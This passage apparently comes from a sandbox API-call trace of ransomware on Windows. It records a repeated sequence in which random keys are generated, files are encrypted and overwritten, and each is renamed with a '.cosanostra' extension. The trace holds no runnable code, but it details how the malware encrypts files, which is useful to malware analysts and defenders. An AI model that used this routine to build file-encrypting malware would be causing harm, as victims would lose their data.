hFile=0x15c, lpBuffer=0x2abeeac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee6c, lpOverlapped=0x0 | out: lpBuffer=0x2abeeac*, lpNumberOfBytesWritten=0x2abee6c*=0x4, lpOverlapped=0x0) returned 1 [0102.109] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee6c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee6c*=0x30, lpOverlapped=0x0) returned 1 [0102.109] CloseHandle (hObject=0x15c) returned 1 [0102.110] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1.cosanostra") returned 163 [0102.110] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\f293aead5e84facfb686c4a620718928_c8424a0b24a72939b13720d0c000c9c1"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\f293aead5e84facfb686c4a620718928_c8424a0b24a72939b13720d0c000c9c1.cosanostra")) returned 1 [0102.111] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeeb0 | out: pbBuffer=0x2abeeb0) returned 1 [0102.111] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeea8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeea8*=0x30) returned 1 [0102.111] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d47dbd2f9e3365fbbe008d71fb06716f_d33192d58aa9ca2b9097e848e9fe86de"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.111] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned 152 [0102.111] StrStrW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpSrch=".txt") returned 0x0 [0102.112] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe68, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.112] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x198, lpNumberOfBytesWritten=0x2abee6c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee6c*=0x198, lpOverlapped=0x0) returned 1 [0102.112] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.112] WriteFile (in: hFile=0x15c, lpBuffer=0x2abeeac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee6c, lpOverlapped=0x0 | out: lpBuffer=0x2abeeac*, lpNumberOfBytesWritten=0x2abee6c*=0x4, lpOverlapped=0x0) returned 1 [0102.113] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee6c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee6c*=0x30, lpOverlapped=0x0) returned 1 [0102.113] CloseHandle (hObject=0x15c) returned 1 [0102.113] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE.cosanostra") returned 163 [0102.113] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d47dbd2f9e3365fbbe008d71fb06716f_d33192d58aa9ca2b9097e848e9fe86de"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d47dbd2f9e3365fbbe008d71fb06716f_d33192d58aa9ca2b9097e848e9fe86de.cosanostra")) returned 1 [0102.114] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeea8 | out: pbBuffer=0x2abeea8) returned 1 [0102.114] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeea0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeea0*=0x30) returned 1 [0102.114] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d47dbd2f9e3365fbbe008d71fb06716f_4dd1053bcc726da41115fff4c7d6e9cc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.115] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned 152 [0102.115] StrStrW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpSrch=".txt") returned 0x0 [0102.116] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.116] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x194, lpNumberOfBytesWritten=0x2abee64, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee64*=0x194, lpOverlapped=0x0) returned 1 [0102.116] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.116] WriteFile (in: hFile=0x15c, lpBuffer=0x2abeea4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee64, lpOverlapped=0x0 | out: lpBuffer=0x2abeea4*, lpNumberOfBytesWritten=0x2abee64*=0x4, lpOverlapped=0x0) returned 1 [0102.117] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee64, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee64*=0x30, lpOverlapped=0x0) returned 1 [0102.117] CloseHandle (hObject=0x15c) returned 1 [0102.117] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC.cosanostra") returned 163 [0102.117] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d47dbd2f9e3365fbbe008d71fb06716f_4dd1053bcc726da41115fff4c7d6e9cc"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d47dbd2f9e3365fbbe008d71fb06716f_4dd1053bcc726da41115fff4c7d6e9cc.cosanostra")) returned 1 [0102.118] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeea8 | out: pbBuffer=0x2abeea8) returned 1 [0102.118] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeea0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeea0*=0x30) returned 1 [0102.118] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_d9b9f37ece595b0b7b6aa12451d392cf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.119] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned 152 [0102.119] StrStrW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpSrch=".txt") returned 0x0 [0102.120] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.120] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x18e, lpNumberOfBytesWritten=0x2abee64, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee64*=0x18e, lpOverlapped=0x0) returned 1 [0102.120] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.120] WriteFile (in: hFile=0x15c, lpBuffer=0x2abeea4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee64, lpOverlapped=0x0 | out: lpBuffer=0x2abeea4*, lpNumberOfBytesWritten=0x2abee64*=0x4, lpOverlapped=0x0) returned 1 [0102.120] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee64, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee64*=0x30, lpOverlapped=0x0) returned 1 [0102.120] CloseHandle (hObject=0x15c) returned 1 [0102.120] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF.cosanostra") returned 163 [0102.120] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_d9b9f37ece595b0b7b6aa12451d392cf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_d9b9f37ece595b0b7b6aa12451d392cf.cosanostra")) returned 1 [0102.121] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeea0 | out: pbBuffer=0x2abeea0) returned 1 [0102.121] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee98*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee98*=0x30) returned 1 [0102.121] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_6043fc604a395e1485af7ac16d16b7ce"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.122] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned 152 [0102.122] StrStrW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpSrch=".txt") returned 0x0 [0102.123] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.124] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x18e, lpNumberOfBytesWritten=0x2abee5c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee5c*=0x18e, lpOverlapped=0x0) returned 1 [0102.124] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.124] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee5c, lpOverlapped=0x0 | out: lpBuffer=0x2abee9c*, lpNumberOfBytesWritten=0x2abee5c*=0x4, lpOverlapped=0x0) returned 1 [0102.124] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee5c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee5c*=0x30, lpOverlapped=0x0) returned 1 [0102.124] CloseHandle (hObject=0x15c) returned 1 [0102.124] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE.cosanostra") returned 163 [0102.124] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_6043fc604a395e1485af7ac16d16b7ce"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_6043fc604a395e1485af7ac16d16b7ce.cosanostra")) returned 1 [0102.125] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeea0 | out: pbBuffer=0x2abeea0) returned 1 [0102.125] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee98*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee98*=0x30) returned 1 [0102.125] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_42820cdfea41dc84aab89a6b63561873"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.127] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned 152 [0102.127] StrStrW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpSrch=".txt") returned 0x0 [0102.128] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe6e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.128] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2abee5c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee5c*=0x192, lpOverlapped=0x0) returned 1 [0102.128] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.128] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee5c, lpOverlapped=0x0 | out: lpBuffer=0x2abee9c*, lpNumberOfBytesWritten=0x2abee5c*=0x4, lpOverlapped=0x0) returned 1 [0102.128] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee5c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee5c*=0x30, lpOverlapped=0x0) returned 1 [0102.128] CloseHandle (hObject=0x15c) returned 1 [0102.128] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873.cosanostra") returned 163 [0102.128] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_42820cdfea41dc84aab89a6b63561873"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_42820cdfea41dc84aab89a6b63561873.cosanostra")) returned 1 [0102.130] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee98 | out: pbBuffer=0x2abee98) returned 1 [0102.130] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee90*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee90*=0x30) returned 1 [0102.130] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\bc570ec0de58335afaf92fdc8e3aa330_f4d449ca9e0eaccfe15946f8fcd349fc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.131] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned 152 [0102.131] StrStrW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpSrch=".txt") returned 0x0 [0102.185] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffdfc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.186] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x204, lpNumberOfBytesWritten=0x2abee54, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee54*=0x204, lpOverlapped=0x0) returned 1 [0102.186] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.186] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee54, lpOverlapped=0x0 | out: lpBuffer=0x2abee94*, lpNumberOfBytesWritten=0x2abee54*=0x4, lpOverlapped=0x0) returned 1 [0102.186] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee54, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee54*=0x30, lpOverlapped=0x0) returned 1 [0102.186] CloseHandle (hObject=0x15c) returned 1 [0102.186] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC.cosanostra") returned 163 [0102.186] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\bc570ec0de58335afaf92fdc8e3aa330_f4d449ca9e0eaccfe15946f8fcd349fc"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\bc570ec0de58335afaf92fdc8e3aa330_f4d449ca9e0eaccfe15946f8fcd349fc.cosanostra")) returned 1 [0102.188] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee98 | out: pbBuffer=0x2abee98) returned 1 [0102.188] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee90*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee90*=0x30) returned 1 [0102.188] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8828f39c7c0ce9a14b25c7eb321181ba_c6ef73e4482b2588b1252d1a64b99416"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.189] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned 152 [0102.189] StrStrW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpSrch=".txt") returned 0x0 [0102.189] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.189] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x188, lpNumberOfBytesWritten=0x2abee54, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee54*=0x188, lpOverlapped=0x0) returned 1 [0102.190] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.190] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee54, 